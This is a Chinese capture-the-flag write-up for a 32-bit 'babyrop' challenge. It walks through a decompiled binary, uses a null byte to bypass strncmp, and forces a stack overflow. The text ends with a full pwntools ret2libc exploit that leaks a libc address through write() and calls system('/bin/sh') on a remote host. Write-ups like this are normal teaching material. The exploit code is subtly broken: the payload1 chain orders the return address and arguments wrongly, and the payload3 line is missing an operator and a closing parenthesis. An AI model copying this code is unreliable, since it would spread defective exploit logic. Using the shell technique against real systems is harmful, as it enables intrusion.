解题思路:ret2libc
检查保护机制
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enable
PIE: No PIE (0x8048000)
打开IDA反编译进入main函数后可以看到代码
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
read()函数:
定义:
ssize_t read(int fd, void *buf, size_t count);
//fd:文件描述符,从commandline获取数据时为0;buf:目标缓冲区;count:读取的字节数;函数返回值为实际读取的字节数,读取失败返回-1,调用read前达到文件末尾返回0(读取count个字节到buf指向的缓冲区);将command line中count个字节写入buf
进入sub_804871F()函数:
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));//到这一步中字符串S和buf中所有元素都相同
sprintf(s, "%ld", a1);//a1输入到S中
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;//读入buf的最后一个元素置零
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return buf[7];
}
sprintf()函数
int sprintf( char *buffer, const char *format [, argument,...] );
//将format指向的格式化字符串输入到buffer指向的字符串
strncmp()函数
int strncmp(const char *str1, const char *str2, size_t n);//比较字符串str1和str2的前n个字符
/*自左向右逐个按照ASCII码值进行比较n个字符,直到出现不同的字符或遇’\0’为止,str1-str2的数值就是返回值。
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str2 小于 str1。
如果返回值 = 0,则表示 str1 等于 str2。*/
strncmp()函数存在\0截断,如果比较buf和s相同就自动退出,因此可以利用\0截断跳过比较,防止退出
进入 sub_80487D0()函数
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}
上一个函数的返回值在这个函数作为a1的值,这里buf的大小为0xE7=231Bytes,所以考虑将a1写为255实现栈溢出
(255-231-4=20bytes,最多20bytes空间)
exp:
from pwn import *
context.os='linux'
context.arch='i386'
context.log_level='debug'
sl=lambda x:r.sendline(x)
rl=lambda :r.recvline()
r=remote('node3.buuoj.cn',27787)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')
main_addr=0x8048825
payload='\0'*7+'\255'#\0截断绕过strncmp()比较并将buf[7]的值改为255
sl(payload)
rl()
payload1 = 'a'*(0xe7+4)
payload1 += p32(elf.plt['write'])+p32(1)+p32(elf.got['write'])+p32(4)
#write(1,elf.got['write'],4),打出write()的真实地址
payload1 += p32(main_addr)
#回到主函数实现二次利用
sl(payload1)
write_addr=u32(r.recv(4))
libc_addr=write_addr-libc.sym['write']#函数地址-偏移=libc基地址
payload2='\0'*7+'\255'
sl(payload2)
rl()
payload3='a'(0xe7+4)
payload3+=p32(libc_addr+libc.symbols['system'])+p32(0)+p32(libc_addr+libc.search('/bin/sh\0').next()
sl(payload3)
r.interactive()
Tips:
1,write()函数
ssize_t write(int fd,const void *buf,size_t count);
//fd:文件描述符(==1则输出到command line);buf:目标缓冲区;count:字节数;将buf中count个字节写入commandline